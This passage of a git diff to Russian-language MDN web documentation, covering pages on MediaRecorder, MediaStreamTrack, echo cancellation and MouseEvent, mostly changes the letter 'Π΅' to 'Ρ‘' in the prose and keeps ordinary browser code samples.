-<p>ΠœΡ‹ Π½Π°Ρ‡Π½Π΅ΠΌ с установлСния Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΠΌ понадобятся.</p>
+<p>ΠœΡ‹ Π½Π°Ρ‡Π½Ρ‘ΠΌ с установлСния Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½Ρ‹Ρ… ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π°ΠΌ понадобятся.</p>
<pre class="brush: js">let preview = document.getElementById("preview");
let recording = document.getElementById("recording");
diff --git a/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html b/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html
index fb0c2b27b2..f0ce6a6e5b 100644
--- a/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html
+++ b/files/ru/web/api/mediastream_recording_api/using_the_mediastream_recording_api/index.html
@@ -19,7 +19,7 @@ translation_of: Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recordin
<h2 id="CSS_плюшки">CSS плюшки</h2>
-<p>Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ°Β HTML довольно проста, поэтому Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ Π΅Π΅ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ, Π½ΠΎΒ Π΅ΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ интСрСсныС мСста Π²Β CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ стоило Π±Ρ‹ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, ΠΈ ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ Π½ΠΈΠΆΠ΅. Если Π²Π°ΠΌ Π½Π΅ интСрСсна Ρ‚Π΅ΠΌΠ°Β CSS , ΠΈ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ сразу ΠΏΡ€ΠΈΡΡ‚ΡƒΠΏΠΈΡ‚ΡŒ ΠΊΒ  JavaScript, Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ ΠΊ части основных настроСк прилоТСния {{anch("Basic app setup")}}.</p>
+<p>Π Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ°Β HTML довольно проста, поэтому Π½Π΅ Π±ΡƒΠ΄Π΅ΠΌ Π΅Ρ‘ Ρ€Π°ΡΡΠΌΠ°Ρ‚Ρ€ΠΈΠ²Π°Ρ‚ΡŒ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ, Π½ΠΎΒ Π΅ΡΡ‚ΡŒ Π±ΠΎΠ»Π΅Π΅ интСрСсныС мСста Π²Β CSS, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ стоило Π±Ρ‹ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, ΠΈ ΠΎ ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΏΠΎΠ³ΠΎΠ²ΠΎΡ€ΠΈΠΌ Π½ΠΈΠΆΠ΅. Если Π²Π°ΠΌ Π½Π΅ интСрСсна Ρ‚Π΅ΠΌΠ°Β CSS , ΠΈ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ сразу ΠΏΡ€ΠΈΡΡ‚ΡƒΠΏΠΈΡ‚ΡŒ ΠΊΒ  JavaScript, Ρ‚ΠΎ ΠΏΠ΅Ρ€Π΅ΠΉΠ΄ΠΈΡ‚Π΅ ΠΊ части основных настроСк прилоТСния {{anch("Basic app setup")}}.</p>
<h3 id="БохраняйтС_интСрфСйс_ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌ_ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽ_просмотра_нСзависимо_ΠΎΡ‚_высоты_устройства_с_Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ_calc">БохраняйтС ΠΈΠ½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΌΒ ΠΎΠ±Π»Π°ΡΡ‚ΡŒΡŽΒ ΠΏΡ€ΠΎΡΠΌΠΎΡ‚Ρ€Π°, нСзависимо ΠΎΡ‚ высоты устройства, с Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉΒ calc()</h3>
@@ -70,7 +70,7 @@ translation_of: Web/API/MediaStream_Recording_API/Using_the_MediaStream_Recordin
top: -100px;
}</pre>
-<p>Π—Π°Ρ‚Π΅ΠΌ стилизуСм Π±Π»ΠΎΠΊ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ (ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ Π² элСмСнт {{htmlelement("aside")}}) ΠΏΠΎ вкусу, давая Π΅ΠΌΡƒ Ρ„ΠΈΠΊΡΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π±Ρ‹ ΠΎΠ½ Π½Π΅ показывался Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΈ влиял Π½Π° основной интСрфСйс, трансформируСм Сго ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ трансформации, опрСдСляя Π΅Π³ΠΎ мСсто ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΈ мСняСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ трансформации для ΠΏΠ»Π°Π²Π½ΠΎΠ³ΠΎ Π΅Π³ΠΎ отобраТСния/скрытия:</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ стилизуСм Π±Π»ΠΎΠΊ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ (ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚Ρ‹ΠΉ Π² элСмСнт {{htmlelement("aside")}}) ΠΏΠΎ вкусу, давая Π΅ΠΌΡƒ Ρ„ΠΈΠΊΡΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π±Ρ‹ ΠΎΠ½ Π½Π΅ показывался Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠΈ ΠΈ влиял Π½Π° основной интСрфСйс, трансформируСм Сго ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽΒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ трансформации, опрСдСляя Π΅Π³ΠΎ мСсто ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, ΠΈ мСняСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ трансформации для ΠΏΠ»Π°Π²Π½ΠΎΠ³ΠΎ Π΅Π³ΠΎ отобраТСния/скрытия:</p>
<pre class="brush: css">aside {
position: fixed;
@@ -124,7 +124,7 @@ const soundClips = document.querySelector('.sound-clips');</pre>
console.log('getUserMedia not supported on your browser!');
}</pre>
-<p>ВсС ΠΎΠ±Π΅Ρ€Π½ΡƒΡ‚ΠΎ Π² условный тСст, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‰ΠΈΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ <code>getUserMedia</code>Β Π΄ΠΎ запуска Ρ‡Π΅Π³ΠΎ Π½ΠΈΠ±ΡƒΠ΄ΡŒ. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΒ Β <code>getUserMedia()</code>Β ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ опрСдСляСм:</p>
+<p>ВсС ΠΎΠ±Ρ‘Ρ€Π½ΡƒΡ‚ΠΎ Π² условный тСст, ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡΡŽΡ‰ΠΈΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ <code>getUserMedia</code>Β Π΄ΠΎ запуска Ρ‡Π΅Π³ΠΎ Π½ΠΈΠ±ΡƒΠ΄ΡŒ. Π—Π°Ρ‚Π΅ΠΌ Π²Ρ‹Π·Ρ‹Π²Π°Π΅ΠΌΒ Β <code>getUserMedia()</code>Β ΠΈ Π²Π½ΡƒΡ‚Ρ€ΠΈ опрСдСляСм:</p>
<ul>
<li><strong>ΠžΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½ΠΈΡΒ </strong>: ΠŸΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡŽΒ Π½ΡƒΠΆΠ΅Π½ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π°ΡƒΠ΄ΠΈΠΎΠΏΠΎΡ‚ΠΎΠΊ .</li>
@@ -138,7 +138,7 @@ const soundClips = document.querySelector('.sound-clips');</pre>
<h2 id="Π—Π°Ρ…Π²Π°Ρ‚_ΠΌΠ΅Π΄ΠΈΠ°_ΠΏΠΎΡ‚ΠΎΠΊΠ°">Π—Π°Ρ…Π²Π°Ρ‚ ΠΌΠ΅Π΄ΠΈΠ° ΠΏΠΎΡ‚ΠΎΠΊΠ°</h2>
-<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ функция <code>getUserMedia</code>Β ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»Π° ΠΌΠ΅Π΄ΠΈΠ°ΠΏΠΎΡ‚ΠΎΠΊ, создаСм Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β  Media Recorder конструктором <code>MediaRecorder()</code>Β ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅ΠΌ Π΅ΠΌΡƒ ΠΏΠΎΡ‚ΠΎΠΊ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ. Π­Ρ‚ΠΎ Ρ‚ΠΎΡ‡ΠΊΠ° Π²Ρ…ΠΎΠ΄Π° использования интСрфСйса Β MediaRecorder β€”Β  Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΡ‚ΠΎΠΊ Π³ΠΎΡ‚ΠΎΠ² для Π·Π°Ρ…Π²Π°Ρ‚Π° ΠΈ ΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠΈ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β  {{domxref("Blob")}}, Π²Β Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅Β ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, установлСнного для браузСра.</p>
+<p>Как Ρ‚ΠΎΠ»ΡŒΠΊΠΎ функция <code>getUserMedia</code>Β ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ»Π° ΠΌΠ΅Π΄ΠΈΠ°ΠΏΠΎΡ‚ΠΎΠΊ, создаём Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β  Media Recorder конструктором <code>MediaRecorder()</code>Β ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘ΠΌ Π΅ΠΌΡƒ ΠΏΠΎΡ‚ΠΎΠΊ, ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹ΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ. Π­Ρ‚ΠΎ Ρ‚ΠΎΡ‡ΠΊΠ° Π²Ρ…ΠΎΠ΄Π° использования интСрфСйса Β MediaRecorder β€”Β  Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ ΠΏΠΎΡ‚ΠΎΠΊ Π³ΠΎΡ‚ΠΎΠ² для Π·Π°Ρ…Π²Π°Ρ‚Π° ΠΈ ΡƒΠΏΠ°ΠΊΠΎΠ²ΠΊΠΈ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β  {{domxref("Blob")}}, Π²Β Ρ„ΠΎΡ€ΠΌΠ°Ρ‚Π΅Β ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ, установлСнного для браузСра.</p>
<pre class="brush: js">const mediaRecorder = new MediaRecorder(stream);</pre>
@@ -213,11 +213,11 @@ mediaRecorder.ondataavailable = function(e) {
}
}</pre>
-<p>ΠŸΡ€ΠΎΠΉΠ΄Π΅ΠΌ вСсь ΠΊΠΎΠ΄ Π²Ρ‹ΡˆΠ΅ ΠΈ посмотрим, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π΄Π΅Π»Π°Π΅Ρ‚.</p>
+<p>ΠŸΡ€ΠΎΠΉΠ΄Ρ‘ΠΌ вСсь ΠΊΠΎΠ΄ Π²Ρ‹ΡˆΠ΅ ΠΈ посмотрим, Ρ‡Ρ‚ΠΎ ΠΎΠ½ Π΄Π΅Π»Π°Π΅Ρ‚.</p>
<p>Π‘Π½Π°Ρ‡Π°Π»Π° ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŽ Π΄ΠΈΠ°Π»ΠΎΠ³ с запросом ΠΈΠΌΠ΅Π½ΠΈ Π±ΡƒΠ΄ΡƒΡ‰Π΅ΠΉ записи.</p>
-<p>Π—Π°Ρ‚Π΅ΠΌ создаСм структуру HTML , вставляя Π΅Ρ‘ Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉΡΡ элСмСнтом {{htmlelement("article")}} .</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ создаём структуру HTML , вставляя Π΅Ρ‘ Π² ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉΡΡ элСмСнтом {{htmlelement("article")}} .</p>
<pre class="brush: html">&lt;article class="clip"&gt;
&lt;audio controls&gt;&lt;/audio&gt;
@@ -225,7 +225,7 @@ mediaRecorder.ondataavailable = function(e) {
&lt;button&gt;Delete&lt;/button&gt;
&lt;/article&gt;</pre>
-<p>ПослС этого создаСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("Blob")}} с ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠ΅ΠΉ Π½Π°ΡˆΠΈΡ… записанных частСй Π°ΡƒΠ΄ΠΈΠΎ ΠΈ создаСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β URL ΡΡΡ‹Π»Π°ΡŽΡ‰ΠΈΠΉΡΡ Π½Π° Π½Π΅Π³ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>window.URL.createObjectURL(blob)</code>. Π—Π°Ρ‚Π΅ΠΌ устанавливаСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("src", "audio")}} элСмСнта {{HTMLElement("audio")}} Π² созданный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β URL, Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ Π±Ρ‹ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ воспроизвСдСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Blob</code>Β ΠΏΠ΅Ρ€Π΅Π΄Π°Π» свои Π΄Π°Π½Π½Ρ‹Π΅ элСмСнту.</p>
+<p>ПослС этого создаём ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β {{domxref("Blob")}} с ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ†ΠΈΠ΅ΠΉ Π½Π°ΡˆΠΈΡ… записанных частСй Π°ΡƒΠ΄ΠΈΠΎ ΠΈ создаём ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β URL ΡΡΡ‹Π»Π°ΡŽΡ‰ΠΈΠΉΡΡ Π½Π° Π½Π΅Π³ΠΎ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>window.URL.createObjectURL(blob)</code>. Π—Π°Ρ‚Π΅ΠΌ устанавливаСм Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° {{htmlattrxref("src", "audio")}} элСмСнта {{HTMLElement("audio")}} Π² созданный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β URL, Ρ‚Π°ΠΊ, Ρ‡Ρ‚ΠΎ Π±Ρ‹ ΠΏΡ€ΠΈ Π½Π°ΠΆΠ°Ρ‚ΠΈΠΈ Π½Π° ΠΊΠ½ΠΎΠΏΠΊΡƒ воспроизвСдСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β <code>Blob</code>Β ΠΏΠ΅Ρ€Π΅Π΄Π°Π» свои Π΄Π°Π½Π½Ρ‹Π΅ элСмСнту.</p>
<p>НаконСц, устанавливаСм ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события <code>onclick</code>Β Π½Π° ΠΊΠ½ΠΎΠΏΠΊΠ΅ удалСния, для удалСния всСй структуры HTML проигрывания Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π° записи (элСмСнт clip).</p>
diff --git a/files/ru/web/api/mediastreamtrack/index.html b/files/ru/web/api/mediastreamtrack/index.html
index 5a2bbeed09..489c5d5196 100644
--- a/files/ru/web/api/mediastreamtrack/index.html
+++ b/files/ru/web/api/mediastreamtrack/index.html
@@ -45,7 +45,7 @@ translation_of: Web/API/MediaStreamTrack
<dt>{{domxref("MediaStreamTrack.readyState")}} {{readonlyInline}}</dt>
<dd>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ΄Π½ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰ΠΈΡ… статус Ρ‚Ρ€Π΅ΠΊΠ°:
<ul>
- <li><code>"live"</code>Β ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ источник ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Π΅Π½ ΠΈ Π΄Π΅Π»Π°Π΅Ρ‚ всё, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Π’ этом случаС, ΠΏΠΎΡ‚ΠΎΠΊ Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойство {{domxref("MediaStreamTrack.enabled", "enabled")}}.</li>
+ <li><code>"live"</code>Β ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ источник ΠΏΠΎΠ΄ΠΊΠ»ΡŽΡ‡Ρ‘Π½ ΠΈ Π΄Π΅Π»Π°Π΅Ρ‚ всё, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Π’ этом случаС, ΠΏΠΎΡ‚ΠΎΠΊ Π΄Π°Π½Π½Ρ‹Ρ… ΠΌΠΎΠΆΠ½ΠΎ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΈ Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ свойство {{domxref("MediaStreamTrack.enabled", "enabled")}}.</li>
<li><code>"ended"</code>Β ΠΎΠ·Π½Π°Ρ‡Π°Π΅Ρ‚, Ρ‡Ρ‚ΠΎ источник большС Π½Π΅ прСдоставляСт ΠΈ большС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅Π΄ΠΎΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅.</li>
</ul>
</dd>
diff --git a/files/ru/web/api/mediatrackconstraints/echocancellation/index.html b/files/ru/web/api/mediatrackconstraints/echocancellation/index.html
index 6caa568f39..38d17c9257 100644
--- a/files/ru/web/api/mediatrackconstraints/echocancellation/index.html
+++ b/files/ru/web/api/mediatrackconstraints/echocancellation/index.html
@@ -34,7 +34,7 @@ original_slug: Web/API/MediaTrackConstraints/Π­Ρ…ΠΎΠΏΠΎΠ΄Π°Π²Π»Π΅Π½ΠΈΠ΅
<h3 id="Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>Если это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ являСтся простым <code>true</code> ΠΈΠ»ΠΈΒ <code>false</code>, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ попытаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΌΠ΅Π΄ΠΈΠ° с Π²ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Π΅Π½Π½Ρ‹ΠΌ эхоподавлСниСм, Ссли это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π½ΠΎ Π½Π΅ Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ, Ссли это Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ. Π˜Π½Π°Ρ‡Π΅ Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ΠΎΒ ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β Ρ ΠΏΠΎΠ»Π΅ΠΌΒ <code>exact</code>Β ,Β Ρ‚ΠΎ логичСскоС значСниС этого поля указываСт ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΡƒΡŽ настройку для эхоподавлСния; Ссли это Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ - запрос Π²Π΅Ρ€Π½Π΅Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ.</p>
+<p>Если это Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ являСтся простым <code>true</code> ΠΈΠ»ΠΈΒ <code>false</code>, ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ Π°Π³Π΅Π½Ρ‚ попытаСтся ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ ΠΌΠ΅Π΄ΠΈΠ° с Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌ ΠΈΠ»ΠΈ ΠΎΡ‚ΠΊΠ»ΡŽΡ‡Ρ‘Π½Π½Ρ‹ΠΌ эхоподавлСниСм, Ссли это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π½ΠΎ Π½Π΅ Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ, Ссли это Π½Π΅Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ. Π˜Π½Π°Ρ‡Π΅ Ссли Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅Β ΠΏΠ΅Ρ€Π΅Π΄Π°Π½ΠΎΒ ΠΊΠ°ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β Ρ ΠΏΠΎΠ»Π΅ΠΌΒ <code>exact</code>Β ,Β Ρ‚ΠΎ логичСскоС значСниС этого поля указываСт ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΡƒΡŽ настройку для эхоподавлСния; Ссли это Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½Ρ‹ - запрос Π²Π΅Ρ€Π½Ρ‘Ρ‚ ΠΎΡˆΠΈΠ±ΠΊΡƒ.</p>
<h2 id="Example" name="Example">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/api/mouseevent/index.html b/files/ru/web/api/mouseevent/index.html
index 23266c8feb..3d7e42d675 100644
--- a/files/ru/web/api/mouseevent/index.html
+++ b/files/ru/web/api/mouseevent/index.html
@@ -22,7 +22,7 @@ translation_of: Web/API/MouseEvent
<dl>
<dt>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>MouseEvent</code>.</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>MouseEvent</code>.</dd>
</dl>
<h2 id="Бвойства">Бвойства</h2>
diff --git a/files/ru/web/api/mouseevent/screenx/index.html b/files/ru/web/api/mouseevent/screenx/index.html
index 93b35759e8..4e6ee2a42c 100644
--- a/files/ru/web/api/mouseevent/screenx/index.html
+++ b/files/ru/web/api/mouseevent/screenx/index.html
@@ -22,7 +22,7 @@ translation_of: Web/API/MouseEvent/screenX
<h4 id="HTML">HTML</h4>
-<pre class="brush: html">&lt;p&gt;ΠŸΠΎΠ΄Π²ΠΈΠ³Π°ΠΉΡ‚Π΅ ΠΌΡ‹ΡˆΡŒΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π΅Π΅ курсора.&lt;/p&gt;
+<pre class="brush: html">&lt;p&gt;ΠŸΠΎΠ΄Π²ΠΈΠ³Π°ΠΉΡ‚Π΅ ΠΌΡ‹ΡˆΡŒΡŽ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅ Π΅Ρ‘ курсора.&lt;/p&gt;
&lt;p id="screen-log"&gt;&lt;/p&gt;</pre>
<h4 id="JavaScript">JavaScript</h4>
diff --git a/files/ru/web/api/mutationobserver/index.html b/files/ru/web/api/mutationobserver/index.html
index 6afd425cc2..3f0fbf8ca5 100644
